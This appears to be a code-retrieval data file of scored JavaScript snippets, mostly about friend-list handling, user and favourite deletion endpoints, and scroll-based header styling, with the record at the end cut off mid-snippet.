{\n token: token,\n requestname: event.target.id\n },\n function (data) {\n if (!data.success) {\n alert(data.msg);\n } else {\n get_friend_list();\n }\n },\n 'json'\n );\n });\n input_group_btn.append(confirm_btn);\n\n let refuse_btn = $(\"<button type=\\\"button\\\" class=\\\"btn btn-default glyphicon glyphicon glyphicon-remove warning\\\" id='\" + friend.name + \"'></button>\")\n .click(function () {\n $.post(\n 'http://' + auth_server + ':8081/api/friend/refuse',\n {\n token: token,\n requestname: event.target.id\n },\n function (data) {\n if (!data.success) {\n alert(data.msg);\n } else {\n get_friend_list();\n }\n },\n 'json'\n );\n });\n input_group_btn.append(refuse_btn);\n\n } else {\n if (friend.online) {\n $(\"<button type=\\\"button\\\" class=\\\"btn btn-default glyphicon glyphicon-comment\\\" id='\" + friend.name + \"'></button>\")\n .appendTo(input_group_btn)\n .click(function () {\n $('#chat_window_1').show();\n let friend_id = $('#chat_window_1').find('.panel-title');\n friend_id.text(friend.name);\n $(\"#container-msg\").empty();\n console.log(\"friend.name: \" + friend.name);\n socket.emit('chat history', friend.name);\n });\n $(\"<button type=\\\"button\\\" class=\\\"btn btn-default glyphicon glyphicon-tower\\\" id='\" + friend.name + \"'></button>\")\n .appendTo(input_group_btn)\n .click(function () {\n socket.emit('duel request', {pseudo: event.target.id});\n });\n }\n $(\"<button type=\\\"button\\\" class=\\\"btn btn-default glyphicon glyphicon glyphicon-remove\\\" id='\" + friend.name + \"'></button>\")\n .appendTo(input_group_btn)\n .click(function () {\n $.post(\n 'http://' + auth_server + ':8081/api/friend/remove',\n {\n token: token,\n requestname: event.target.id\n },\n function (data) {\n if (!data.success) {\n alert(data.msg);\n } else {\n get_friend_list();\n }\n },\n 'json'\n );\n });\n\n $(\"<button type=\\\"button\\\" class=\\\"btn btn-default glyphicon glyphicon glyphicon-ok duel\\\" id='accept_duel_\" + friend.name + \"'></button>\")\n .appendTo(input_group_btn)\n .hide();\n\n $(\"<button type=\\\"button\\\" class=\\\"btn btn-default glyphicon glyphicon glyphicon-remove duel\\\" id='refuse_duel_\" + friend.name + \"'></button>\")\n .appendTo(input_group_btn)\n .hide();\n }\n\n input_group.append(input_group_btn);\n element.append(input_group);\n if (friend.online === 'true')\n element.css(\"background-color\", \"red\");\n if(hide) {\n element.hide();\n }\n $(\"#friends_list\").append(element);\n } else {\n if (!friend.online)\n $('#friends_list').find('#list_item_' + friend.name).find(\"#input-group-\" + friend.name).find(\"#online-indicator\").css(\"background-color\", \"red\");\n }\n }, this);\n }\n },\n 'json'\n );\n return friendlist;\n}", "title": "" }, { "docid": "ae0cbcb954a301998684c8da1d31f377", "score": "0.50901276", "text": "function removeUser( id ) {\n var request = $http({\n method: \"delete\",\n url: \"api/index.cfm\",\n params: {\n action: \"delete\"\n },\n data: {\n user_id: id\n }\n });\n return( request.then( handleSuccess, handleError ) );\n }", "title": "" }, { "docid": "197520b8ad44624125001d2fd7e650c2", "score": "0.5072312", "text": "removeUser() {\n var baseURL =\n \"http://ec2-18-219-31-161.us-east-2.compute.amazonaws.com:8080/api/deleteuser/\";\n var url = baseURL + this.props.email + \"/\" + this.props.username + \"/\";\n var _this = this;\n this.serverRequest = axios.post(url).then(function(response) {});\n }", "title": "" }, { "docid": "1bb991b74e16982e27696426dbe60495", "score": "0.50632566", "text": "function removeMember(obj){\n var teamID = $(obj).data(\"team-id\"),\n userID = $(obj).data(\"user-id\");\n if(confirm('WARNING: Are you sure you want to remove this user from all Datasets that have been granted access through this user group?')){\n $(obj).prepend($(\"<i>\", { class: \"fa fa-fw fa-spin fa-circle-o-notch\" })).prop(\"disabled\", true);\n $.ajax({\n url: \"/groups/\" + teamID,\n type: \"POST\",\n data: {user_id: userID, action: \"remove_member\"},\n success: function (data){\n if(data){\n if(data.code == 200){\n $(obj).prop(\"disabled\", false).children(\"i\").remove();\n console.log($(\"#\" + userID + \"_update\"))\n $(\"#\" + userID + \"_update\").fadeOut( \"slow\", function() {\n $(\"#\" + userID + \"_update\").remove();\n if($(\"#teamMembersContainer\").children(\"div.row\").length == 0){\n $(\"#teamMembersContainer\").html($(\"<p>\", { class: \"form-control-static\", text: \" No members\" }).prepend($(\"<i>\", { class: \"fa fa-fw fa-info\"})));\n }\n });\n updateRowInTable(data.data);\n return\n }\n }\n },\n error: function (){\n $(obj).prop(\"disabled\", false).children(\"i\").remove();\n }\n });\n }\n}", "title": "" }, { "docid": "61bafe641d572f44283fef36f9638b1b", "score": "0.5057827", "text": "destroy(req, res, next){\n \n if(req.user){\n favoriteQueries.deleteFavorite(req, (err, favorite) => {\n if(err){\n req.flash(\"error\", err);\n }\n res.redirect(req.headers.referer);\n });\n } else {\n req.flash(\"notice\", \"You must be signed in to do that.\")\n res.redirect(req.headers.referer);\n }\n }", "title": "" }, { "docid": "4b4ae433e867f26fd9442cc11d640d2b", "score": "0.50549734", "text": "function deleteFollow(req, res) {\n var userId = req.user.sub;\n var followId = req.params.id;\n\n Follow.find({ 'user': userId, 'followed': followId }).remove(err => {\n if (err) return res.status(500).send({\n message: 'error al dejar de seguir'\n });\n return res.status(200).send({\n message: 'Has dejado de seguir'\n });\n });\n}", "title": "" }, { "docid": "c92df8664cc5ba985aa18c146d0ac460", "score": "0.50500226", "text": "function deleteUser (req, res) {\n User.remove({_id: req.params.id}, (err, result) => {\n if (err) {\n return res.status(500).send(err);\n }\n res.status(204).end();\n });\n}", "title": "" }, { "docid": "509ff3e4b0a650973ece5a9ca77de122", "score": "0.5035255", "text": "function $removeChampFromFavorites(user, favorite) {\n console.log(user);\n console.log(favorite);\n $.ajax({\n method: 'delete',\n url: '/api/favorites/' + user + '/' + favorite,\n failure: function(err) { return console.log(err); },\n success: function(data) {\n var champ = data.champion;\n champ.forEach(function(champ) {\n if (champ !== null) {\n console.log(champ);\n // $renderFavorite(champ);\n }\n });\n }\n\n });\n }", "title": "" }, { "docid": "12ca5e3abbe08ff8ed2de592b012bea1", "score": "0.5028094", "text": "function updateFriendsList(list){\n $(\"#friends-list ul\").children().remove()\n $(\"#offline-friends ul\").children().remove()\n\n offlineFriends.forEach((friend) => {\n if(list[friend] ){\n $(\"#friends-list ul\").append(`\n <li class=\"friend-container\" id=\"${list[friend].user_id}\">\n ${list[friend].username}\n <button class=\"btn btn-secondary\" id=\"start-call\" style=\"height: auto;\"><i class=\"fas fa-video\"></i></button>\n <button class=\"btn btn-secondary\" id=\"start-chat\"><i class=\"far fa-comments\"></i></button>\n </li>\n `)\n }else{\n $('#offline-friends ul').append(`<li>${friend}</li>`)\n }\n })\n}", "title": "" }, { "docid": "828e1c6bfd3cc0a2d7bd3d7f5700099d", "score": "0.5016298", "text": "function nonFriends(user){\n\tconsole.log('ADD NEW FRIENDS!')\n\tanimals.filter(function(animal){\n\t\treturn user.relationships.friend.indexOf(animal.species) < 0 && animal.species !== user.species;\n\t}).forEach(function(nonFriend, i){\n\t\tconsole.log('');\n\t\tconsole.log(i+1+'.\\tName: '+capitalizeVals(nonFriend.species));\n\t\tconsole.log('\\tTagline: '+capitalizeVals(nonFriend.tagline));\n\t\tconsole.log('\\tNoises: ');\n\t\tnonFriend.noises.forEach(function(noise){\n\t\t\tconsole.log('\\t\\t- '+capitalizeVals(noise));\n\t\t});\n\t\tvar commonFriends = 0, commonFriendsNames = [];\n\t\tnonFriend.relationships.friend.forEach(function(friend){\n\t\t\tif(user.relationships.friend.indexOf(friend) > 0){\n\t\t\t\tcommonFriends++;\n\t\t\t\tcommonFriendsNames.push(friend);\n\t\t\t}\n\t\t})\n\t\tconsole.log('\\tYou have '+commonFriends+' friend/s in common:');\n\t\tcommonFriendsNames.forEach(function(name){\n\t\t\tconsole.log('\\t\\t- '+name);\n\t\t});\n\t\t//console.log('');\n\t})\n}", "title": "" }, { "docid": "33fa378f2767a1698773b098055f8fc5", "score": "0.4998876", "text": "function deleteUser(request, response) {\n let { user_id } = request.params;\n let initialUserLen = userDB.length;\n userDB = userDB.filter(function (user) {\n return user.userID != user_id;\n })\n\n if (initialUserLen == userDB.length) {\n return response.status(400).json({\n status: \"faliure\",\n message: \"user not found\"\n })\n }\n\n fs.writeFileSync(path.join(__dirname, \"user.json\"), JSON.stringify(userDB));\n\n response.status(200).json({\n status: \"success\",\n \"message\": \"user deleted\"\n })\n\n\n}", "title": "" }, { "docid": "65c5ef8d4a7112b4612093fdb7466c39", "score": "0.49970785", "text": "buttonAction(notif, action) {\n //respond to the request\n\n //decline either friend request or location request\n if (action == 'decline') {\n\n //remove row from list\n var index = globals.requests.indexOf(notif)\n globals.requests.splice(index, 1)\n this.setState({requests: globals.requests})\n\n if (globals.friend_requests.indexOf(notif) > -1) {\n\n var url = globals.base_url + 'api/declineFriend'\n var obj = globals.constructPacket({username: globals.user, friend: notif})\n var success = globals.sendPacket(obj, url, \n () => {\n console.log('[+] success declined friend: ' + notif)\n })\n }\n else {\n //this is decline location request\n var url = globals.base_url + 'api/declineLocation'\n var obj = globals.constructPacket({username: globals.user, friend: notif})\n var success = globals.sendPacket(obj, url, \n () => {\n console.log('[+] success location accept: ' + notif)\n })\n }\n }\n //accept either friend request or location request\n else { //action == 'accept'\n\n //remove row from notification list\n var index = globals.requests.indexOf(notif)\n globals.requests.splice(index, 1)\n this.setState({requests: globals.requests})\n\n\n if (globals.friend_requests.indexOf(notif) > -1) {\n var url = globals.base_url + 'api/acceptFriend'\n var obj = globals.constructPacket({username: globals.user, friend: notif})\n var success = globals.sendPacket(obj, url, \n () => {\n console.log('[+] success accepted friend: ' + notif)\n globals.friendslist.append(notif)\n })\n }\n else {\n //this is accept location request\n var url = globals.base_url + 'api/acceptLocation'\n var obj = globals.constructPacket({username: globals.user, friend: notif})\n var success = globals.sendPacket(obj, url, \n () => {\n console.log('[+] success declined location: ' + notif)\n })\n\n }\n }\n }", "title": "" }, { "docid": "fafbc6f32ce84858c0825e9a62aeda65", "score": "0.49916202", "text": "* profileAction(request, response){\n //Ha torolni szeretnenk egy jatekot a kedvencek kozul\n if(request.param(\"action\")[0] === \"r\"){\n var user = yield request.auth.getUser();\n\n if(user){\n var userData = user.toJSON();\n\n if(userData.favourites){\n var favourites = userData.favourites.split(\";\"),\n toRemove = request.param(\"action\").substring(1);\n\n for(var i=0; i<favourites.length; ++i){\n if(favourites[i] === toRemove){\n favourites.splice(i, 1);\n break;\n }\n }\n\n user.favourites = favourites.join(\";\");\n yield user.save();\n\n response.redirect(\"/profile\");\n }\n }\n else{\n response.redirect(\"login\");\n }\n }\n }", "title": "" }, { "docid": "2d60b4a5cb0b52ac4820f67bef105ee6", "score": "0.49890038", "text": "removeUser({ params }, res) {\n User.findOneAndDelete({_id: params.userId})\n .then(dbThoughtData => {\n if (!dbThoughtData) {\n res.status(404).json({message: \"No user found with this id!\"})\n return;\n }\n res.json(dbThoughtData);\n })\n .catch(err => {\n console.log(err);\n res.status(400).json(err);\n });\n }", "title": "" }, { "docid": "0a6d35792376e83c83fd06848ea7a03b", "score": "0.49885058", "text": "function remove_user_callback(xmlhttp) {\n\t if ((xmlhttp.status==503)) {\n\t\t alertify.alert(\"Application server unavailable\", function(){});\n\t }\n\n\t if ((xmlhttp.readyState==4) && (xmlhttp.status != 0)) {\n\t\t var response_data = JSON.parse(xmlhttp.responseText);\n\t\t if(xmlhttp.status==200) {\n alertify.success(\"User has been deleted\");\n listusers();\n\t\t } else { // Something unexpected happened\n\t\t\t alertify.alert(\"DELUSER ERROR: \" + response_data[\"message\"], function(){});\n document.body.className = 'vbox viewport';\n\t\t }\n\t }\n\n if ((xmlhttp.readyState==4) && (xmlhttp.status == 0)) {\n alertify.alert(\"DELUSER Network Error. Please check your connection and try again later!\", function(){});\n document.body.className = 'vbox viewport';\n }\n }", "title": "" }, { "docid": "dc6eedd30a43ca77f80ff1156492a520", "score": "0.49871683", "text": "async delete (req, res)\n {\n let { userId } = req.params;\n\n User.findOne({_id: userId})\n .remove()\n .then(res.json('success'))\n .catch((e) => res.status(400).send(e))\n }", "title": "" }, { "docid": "b33429f8a8f135e51e285a53af71db79", "score": "0.49853832", "text": "function removeAccount() {\n $.ajax({\n\ttype: \"POST\",\n\turl: \"/remove_account\"\n });\n}", "title": "" }, { "docid": "b46f37156e8580f9931c975b6e8a433d", "score": "0.49774498", "text": "function FriendsController(){\n this.index = function(req,res){\n \tUser.find({}, function(err,users){\n \t\tif(err){\n \t\t\tconsole.log('Could not find users')\n \t\t}\n \t\telse{\n \t\t\tres.json(users)\n \t\t}\n \t})\n };\n this.create = function(req,res){\n \t\tvar user = User({first_name:req.body.first_name, last_name: req.body.last_name, birthdate:req.body.birthdate})\n \t\tuser.save(function(err){\n \t\t\tif(err){\n \t\t\t\tconsole.log('Error')\n \t\t\t}\n \t\t\tres.json(user)\n \t\t})\n };\n this.edit = function(req,res){\n \tUser.findOne({_id: req.params.id}, function(err,user){\n \t\tif(err){\n \t\t\tconsole.log('this should not be happening')\n \t\t}\n \t\telse{\n \t\t\tres.json(user)\n \t\t}\n \t})\n };\n this.update = function(req,res){\n \tUser.findOne({_id:req.params.id}, function(err, user){\n \t\tif(err){\n \t\t\tconsole.log('ERRRORRR')\n \t\t}\n \t\telse{\n\t \t\tuser.first_name = req.body.first_name;\n\t \t\tuser.last_name = req.body.last_name;\n\t \t\tuser.birthdate = req.body.birthdate;\n\t \t\tuser.save(function(err){\n\t \t\t\tif(err){\n\t \t\t\t\tconsole.log('OH NO')\n\t \t\t\t}\n\t \t\t\tres.json(user)\n\t \t\t})\n\t \t}\n \t})\n };\n this.delete = function(req,res){\n \tUser.remove({_id:req.params.id}, function(err){\n \t\tif(err){\n \t\t\tconsole.log(\"ERRRORRR\")\n \t\t}\n \t\telse{\n \t\t\tUser.find({}, function(err,users){\n \t\t\t\tif(err){\n \t\t\t\t\tconsole.log('ERROR')\n \t\t\t\t}\n \t\t\t\telse{\n \t\t\t\t\tres.json(users)\n \t\t\t\t}\n \t\t\t})\n \t\t}\n \t})\n };\n this.show = function(req,res){\n \tUser.findOne({_id: req.params.id}, function(err, user){\n \t\tif(err){\n \t\t\tconsole.log('Everything is going wrong')\n \t\t}\n \t\telse{\n \t\t\tres.json(user)\n \t\t}\n \t})\n };\n}", "title": "" }, { "docid": "2bf14ac66b5efd0bc3d80f6130094782", "score": "0.4975654", "text": "function userDelete(userid) {\n $('.ajax-loader').show();\n $.ajax({\n cache: false,\n url: \"ajax_user_controller.php/\",\n type: \"POST\",\n data: {type: \"delete\", id: userid}\n }).done(function (data) {\n\n var res = JSON.parse(data);\n if (res.status === true) {\n $('.user' + userid).remove();\n $('.ajax-loader').hide();\n $(\".container #message\").show();\n $('.container #message').addClass('alert-warning');\n $('.container #message').html('<button type=\"button\" class=\"close alert-close\">&times;</button><p>Delete successfully</p>');\n } else {\n console.log(\"Errore\");\n }\n }).fail(function (data) {\n console.log(\"error\");\n });\n}", "title": "" }, { "docid": "b8cc6421a06e0b310955a028fa0e24d0", "score": "0.4972056", "text": "static async destroy(req, res) {\n const { github_username } = req.params;\n await Dev.remove({ github_username }, err => {\n if (err) return res.json({ code: 500, errorMessage: `Could not remove the user ${github_username}` });\n return res.json({ code: 200 });\n });\n }", "title": "" }, { "docid": "d2bdb26ddd7e2ec30fdbe898f7387b0f", "score": "0.49683866", "text": "function udp_route_remove(bot)\n{\n if (!udp_route_dyn) { return; }\n if (debug) { post(\"TRACE: udp_route_remove ( \" + bot + \" )\\n\"); }\n\n // Decrement the count, retrieve the index, and update the routing array\n udp_route_cur--;\n var ind = mc_dict.get(\"udp_route::\" + bot);\n mc_dict.remove(\"udp_route::\" + bot);\n udp_route_arr[ind] = \"_\";\n\n // Reset the udp_route subpatcher objects to default values\n udp_route_ind.message(ind, \"_\");\n udp_send_arr[ind].message(\"host\", \"localhost\");\n udp_send_arr[ind].message(\"port\", 9999);\n\n // UDP routing has changed\n udp_route_chg = true;\n}", "title": "" }, { "docid": "3d1afe42a7ba04550da4fe3e411d7920", "score": "0.49634236", "text": "async removePlayer(req, res) {\n const pinFilter = {\n roomPIN: req.body.roomPIN\n };\n const removeFilter = {\n nickname: req.body.player\n }\n\n try {\n await Room.update(pinFilter, {\n $pull: {\n players: removeFilter\n }\n });\n res.sendStatus(200);\n } catch (error) {\n let err = new Err();\n err.content = error;\n err.save(err);\n res.sendStatus(500);\n }\n\n // Room.update(pinFilter, { $pull: { players: removeFilter } }, function (err, status) {\n // if (err) {\n // res.sendStatus(500);\n // } else {\n // res.sendStatus(200);\n // }\n // })\n }", "title": "" } ]
9c014fa1950a47cb7c175aa3b774b9b5
end headerPosition / Change post page backgroundcolor When the .postarticle div is scrolled to the top of the window
[ { "docid": "1e75a870cdada1543c4677e0e86afd25", "score": "0.7233725", "text": "function postBG(){\n //if user is on a post page\n if($('.post--article').length) {\n\n //get the scroll position\n var wScroll = $(window).scrollTop();\n\n //if the window is between the article and the comments section\n //change the background color to white\n //otherwise change it to the regular bg color\n if($('.post--article').offset().top/1.2 < wScroll && $('#disqus_thread').offset().top > wScroll + 500) {\n /*\n *only change bg color if the color isn't already the white color\n *this is so the color isn't constantly being updated when it doesn't need to be\n */\n if($('body').css('background-color') !== 'rgb(242, 242, 242)') {\n $('body').css('background-color', '#f2f2f2');\n }\n } else {\n /*\n *only change bg color if the color isn't already the regular color\n *this is so the color isn't constantly being updated when it doesn't need to be\n */\n if($('body').css('background-color') != 'rgb(248, 181, 147)') {\n $('body').css('background-color', '#f8b593');\n }\n }\n }\n}", "title": "" } ]
[ { "docid": "5f59f63b38bc4e1f9d0657459578bf93", "score": "0.6784944", "text": "function fixMainHeader(){\n if ($(window).scrollTop() > 1) {\n $('.fix-header-only').css(\"background-color\", \"rgba(0, 71, 124, 0.87)\");\n } else {\n $('.fix-header-only').css(\"background-color\", \"rgba(0, 71, 124, 0)\");\n }\n}", "title": "" }, { "docid": "dc81ff633e4504d4cdaff154ed764fff", "score": "0.67263573", "text": "function color_fill_header() {\r\n var scroll = jQuery(window).scrollTop();\r\n if(scroll >= 100) {\r\n jQuery(\".is-fixed\").addClass(\"color-fill\");\r\n } else {\r\n jQuery(\".is-fixed\").removeClass(\"color-fill\");\r\n }\r\n}", "title": "" }, { "docid": "154b57f0ef01af35572f827f1476df27", "score": "0.6514392", "text": "function ParallaxScroll(){\n\t\tvar scrolled = $(window).scrollTop();\n\t\t$('#header_bg').css('top',(0-(scrolled*1.5))+'px');\n\t}", "title": "" }, { "docid": "a95cc1923cbf3b18413e8d2853a5e5a7", "score": "0.64352614", "text": "function scrollToPost(){\n\t\t\t\t\tif($('#post'+id).hasClass('my-post')){\n\t\t\t\t\t$('body, html').animate({scrollTop:$('#post'+id).offset().top-110},300)\n\t\t\t\t\t$('#post'+id).removeClass('my-post')\n\t\t\t\t\t}//if\n\t\t\t\t}//function", "title": "" }, { "docid": "f90848fbb9c62cbcc5f00d306885b450", "score": "0.6394228", "text": "function headerStyle() {\n if ($(\".main-header\").length) {\n var windowpos = $(window).scrollTop();\n var siteHeader = $(\".main-header\");\n var scrollLink = $(\".scroll-to-top\");\n if (windowpos >= 1) {\n siteHeader.addClass(\"fixed-header\");\n scrollLink.fadeIn(300);\n } else {\n siteHeader.removeClass(\"fixed-header\");\n scrollLink.fadeOut(300);\n }\n }\n }", "title": "" }, { "docid": "55be3439af6ebf23bf8d2d08f0f3f5c3", "score": "0.63864195", "text": "function headerStyle() {\r\n\t\tif($('.main-header').length){\r\n\t\t\tvar windowpos = $(window).scrollTop();\r\n\t\t\tvar siteHeader = $('.main-header');\r\n\t\t\tvar scrollLink = $('.scroll-to-top');\r\n\t\t\tif (windowpos >= 1) {\r\n\t\t\t\tsiteHeader.addClass('fixed-header');\r\n\t\t\t\tscrollLink.fadeIn(300);\r\n\t\t\t} else {\r\n\t\t\t\tsiteHeader.removeClass('fixed-header');\r\n\t\t\t\tscrollLink.fadeOut(300);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "c7c284a393b56fed81ef81c01ed97de5", "score": "0.6379515", "text": "function headerStyle() {\r\n\t\tif($('.main-header').length){\r\n\t\t\tvar windowpos = $(window).scrollTop();\r\n\t\t\tif (windowpos >= 250) {\r\n\t\t\t\t$('.main-header').addClass('fixed-header');\r\n\t\t\t\t$('.scroll-to-top').fadeIn(300);\r\n\t\t\t} else {\r\n\t\t\t\t$('.main-header').removeClass('fixed-header');\r\n\t\t\t\t$('.scroll-to-top').fadeOut(300);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "57e120c9bb15479638c048b5bce8a76d", "score": "0.6339318", "text": "function headerStyle() {\n if ($('.main-header').length) {\n var mainHeader = $('.main-header').height();\n var windowpos = $(window).scrollTop();\n if (windowpos >= mainHeader) {\n $('.sticky-header').addClass('now-visible');\n $('.scroll-to-top').fadeIn(300);\n } else {\n $('.sticky-header').removeClass('now-visible');\n $('.scroll-to-top').fadeOut(300);\n }\n }\n }", "title": "" }, { "docid": "9a33f56591757beff9a13848d096c85f", "score": "0.6306364", "text": "function headerStyle() {\n\t\tif($('.main-header').length){\n\t\t\tvar windowpos = $(window).scrollTop();\n\t\t\tvar siteHeader = $('.main-header');\n\t\t\tvar scrollLink = $('.scroll-to-top');\n\t\t\tif (windowpos >= 20) {\n\t\t\t\tsiteHeader.addClass('fixed-header');\n\t\t\t\tscrollLink.fadeIn(300);\n\t\t\t} else {\n\t\t\t\tsiteHeader.removeClass('fixed-header');\n\t\t\t\tscrollLink.fadeOut(300);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "48f7ff7f51f945dfec0ad86dca324128", "score": "0.6265022", "text": "function scrollingHeader() {\n\t$(window).scroll(function() {\n\t\tif($(this).scrollTop() > 100) {\n\t\t\t$('body .js-scrollHeader').addClass(\"-style-fixed\");\n\t\t} else {\n\t\t\t$('body .js-scrollHeader').removeClass(\"-style-fixed\");\n\t\t};\n\t});\n}", "title": "" }, { "docid": "ea21fe2269cba825b9ddc229ab99d8cd", "score": "0.6240342", "text": "function headerStyle() {\n\t\tif($('.main-header').length){\n\t\t\tvar windowpos = $(window).scrollTop();\n\t\t\tvar siteHeader = $('.main-header');\n\t\t\tvar fixedmenubg = $('.fixed-menu-bg');\n\t\t\tvar scrollLink = $('.scroll-to-top');\n\t\t\tif (windowpos >= 200) {\n\t\t\t\tsiteHeader.addClass('fixed-header');\n\t\t\t\tscrollLink.fadeIn(300);\n\t\t\t\tfixedmenubg.slideDown(1500);\n\t\t\t} else {\n\t\t\t\tsiteHeader.removeClass('fixed-header');\n\t\t\t\tscrollLink.fadeOut(300);\n\t\t\t\tfixedmenubg.slideUp(1500);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "bfd7aa35b5fd29f8b92fb5dd8da09507", "score": "0.6224928", "text": "function headerStyle() {\r\n\t\tif($('.main-header').length){\r\n\t\t\tvar windowpos = $(window).scrollTop();\r\n\t\t\tvar siteHeader = $('.main-header');\r\n\t\t\tvar scrollLink = $('.scroll-to-top');\r\n\t\t\tvar sticky_header = $('.main-header .sticky-header');\r\n\t\t\tif (windowpos > 100) {\r\n\t\t\t\tsiteHeader.addClass('fixed-header');\r\n\t\t\t\tsticky_header.addClass(\"animated slideInDown\");\r\n\t\t\t\tscrollLink.fadeIn(300);\r\n\t\t\t} else {\r\n\t\t\t\tsiteHeader.removeClass('fixed-header');\r\n\t\t\t\tsticky_header.removeClass(\"animated slideInDown\");\r\n\t\t\t\tscrollLink.fadeOut(300);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "5ac60cc275c497f5492dd5d7ae5b6465", "score": "0.61992234", "text": "function scrollingHeader() {\n\t$(window).scroll(function() {\n\t\tif($(this).scrollTop() > 200) {\n\t\t\t$('body .js-scrollHeader').addClass(\"-style-fixed\");\n\t\t} else {\n\t\t\t$('body .js-scrollHeader').removeClass(\"-style-fixed\");\n\t\t};\n\t});\n}", "title": "" }, { "docid": "1714167ec85c7ef841ca13027a7b5fb3", "score": "0.61879975", "text": "function headerStyle() {\n if($('.main-header').length){\n var mainHeader = $('.main-header').height();\n var windowpos = $(window).scrollTop();\n if (windowpos >= 200) {\n $('.bounce-in-header').addClass('now-visible');\n $('.scroll-to-top').fadeIn(300);\n } else {\n $('.bounce-in-header').removeClass('now-visible');\n $('.scroll-to-top').fadeOut(300);\n }\n }\n }", "title": "" }, { "docid": "12c9a30a0936c1be8055b96920dc2ed0", "score": "0.61323476", "text": "function onScrollChangeBgColor(){\nvar iScrollPos = 0;\n\n $(window).scroll(function(){\n var iCurScrollPos = $(this).scrollTop();\n if (iCurScrollPos > 200+iScrollPos){\n $(\"#menu\").css(\"background-color\",\"#000\");\n }\n else{\n $(\"#menu\").css(\"background-color\",\"transparent\");\n }\n });\n}", "title": "" }, { "docid": "a33c37ce0252208212ce62348d2968ba", "score": "0.61103207", "text": "function scrollBanner() {\n\t $(document).scroll(function(){\n\t\tvar scrollPos = $(this).scrollTop();\n\t\t$('.parallax-fade-top').css({\n\t\t 'top' : (scrollPos/2)+'px',\n\t\t 'opacity' : 1-(scrollPos/650)\n\t\t});\n\t }); \n\t}", "title": "" }, { "docid": "5725c0f12e69211f78668a9d0eeb2858", "score": "0.6099313", "text": "function headerStyle() {\n\t\tif($('.main-header').length){\n\t\t\tvar mainHeader = $('.main-header').height();\n\t\t\tvar windowpos = $(window).scrollTop();\n\t\t\tif (windowpos >= mainHeader) {\n\t\t\t\t$('.bounce-in-header').addClass('now-visible');\n\t\t\t\t$('.scroll-to-top').fadeIn(300);\n\t\t\t} else {\n\t\t\t\t$('.bounce-in-header').removeClass('now-visible');\n\t\t\t\t$('.scroll-to-top').fadeOut(300);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "dfe565344d2962e92eb96c77535b9423", "score": "0.6076817", "text": "function navOnLoad() {\n\n if (document.documentElement.scrollTop >300) {\n element.style.backgroundColor = rgb + 1 + ')';\n }\n}", "title": "" }, { "docid": "b82231f9af0210c99e79e5a69667d354", "score": "0.6058606", "text": "function header_after_scroll() {\r\n\t\tvar scroll = $(window).scrollTop();\r\n\r\n\t if (scroll >= 5) {\r\n\t $(\"#main_header\").addClass(\"header_after_scroll\");\r\n\t } else {\r\n\t \t$(\"#main_header\").removeClass(\"header_after_scroll\");\r\n\t }\r\n\t}", "title": "" }, { "docid": "dc232455ae78e3d83dddea2be215810a", "score": "0.6047681", "text": "function headerStyle() {\n\t\tif($('.main-header').length){\n\t\t\tvar windowpos = $(window).scrollTop();\n\t\t\tvar siteHeader = $('.main-header');\n\t\t\tvar scrollLink = $('.scroll-to-top');\n\t\t\tvar sticky_header = $('.main-header .sticky-header');\n\t\t\tif (windowpos > 700) {\n\t\t\t\tsiteHeader.addClass('fixed-header');\n\t\t\t\tscrollLink.fadeIn(300);\n\t\t\t} else{\n\t\t\t\tsiteHeader.removeClass('fixed-header');\n\t\t\t\tscrollLink.fadeOut(300);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "6327d859ed62827d712dc8968be2e2d1", "score": "0.6040413", "text": "function scrollBanner() {\n\t $(document).on('scroll', function(){\n\t\tvar scrollPos = $(this).scrollTop();\n\t\t$('.parallax-fade-top').css({\n\t\t 'top' : (scrollPos/2)+'px',\n\t\t 'opacity' : 1-(scrollPos/450)\n\t\t});\n\t }); \n\t}", "title": "" }, { "docid": "0a31c2641f3bd4c7fc6ac7e15a84e7e7", "score": "0.601597", "text": "function checkScroll()\n{\n // from https://stackoverflow.com/questions/11373741/detecting-by-how-much-user-has-scrolled\n var scrollTop = (window.pageYOffset !== undefined) ? window.pageYOffset : \n (document.documentElement || document.body.parentNode || document.body).scrollTop; \n // my code\n\n // if not at the top\n if (scrollTop > 1)\n {\n //make the header opaque\n document.getElementById(\"header\").classList.remove(\"clearAnim\");\n document.getElementById(\"header\").classList.add(\"opaqueAnim\");\n }\n else\n {\n //make the header transparent\n document.getElementById(\"header\").classList.remove(\"opaqueAnim\");\n document.getElementById(\"header\").classList.add(\"clearAnim\");\n }\n}", "title": "" }, { "docid": "2e55e0fc3542fb08dd9cb03a4ef57343", "score": "0.599209", "text": "function rnrHomeParallax() {\n\t jQuery(window).scroll(function() {\n\t\t var yPos = -(jQuery(window).scrollTop() / 2); \n \n\t\t var coords = '50%'+ yPos + 'px';\n\t\t jQuery('.home-parallax').css({ backgroundPosition: coords });\n\t \n\t }); \n}", "title": "" }, { "docid": "484054a8bcc3f22c44feb925a4597572", "score": "0.5990012", "text": "function fadeHeaderOnSctoll() {\n $(window).scroll(function () {\n let scrollPosition = $(window).scrollTop();\n let headerHeight = $(\".main-page-header\").innerHeight();\n let scrollHeight = 200;\n\n if (scrollPosition > headerHeight * 0.43 && scrollPosition < scrollHeight) {\n let opacity = scrollPosition / scrollHeight;\n let fixedOpacity = opacity.toFixed(2);\n\n $(\".main-page-header\").css(\n \"background\",\n \"rgba(0,0,0,\" + fixedOpacity + \")\"\n );\n }\n if (scrollPosition > scrollHeight) {\n $(\".main-page-header\").css(\"background\", \"rgba(0,0,0,1)\");\n }\n if (scrollPosition < 20) {\n $(\".main-page-header\").css(\"background\", \"rgba(0,0,0,.2)\");\n }\n });\n}", "title": "" }, { "docid": "8bf46fa00fc65c08993f7a57299666b4", "score": "0.5929125", "text": "function eltdCheckHeaderStyleOnScroll(){\n\n if($('[data-eltd_header_style]').length > 0 && eltd.body.hasClass('eltd-header-style-on-scroll')) {\n\n var waypointSelectors = $('.eltd-full-width-inner > .wpb_row.eltd-section, .eltd-full-width-inner > .eltd-parallax-section-holder, .eltd-container-inner > .wpb_row.eltd-section, .eltd-container-inner > .eltd-parallax-section-holder, .eltd-portfolio-single > .wpb_row.eltd-section');\n var changeStyle = function(element){\n (element.data(\"eltd_header_style\") !== undefined) ? 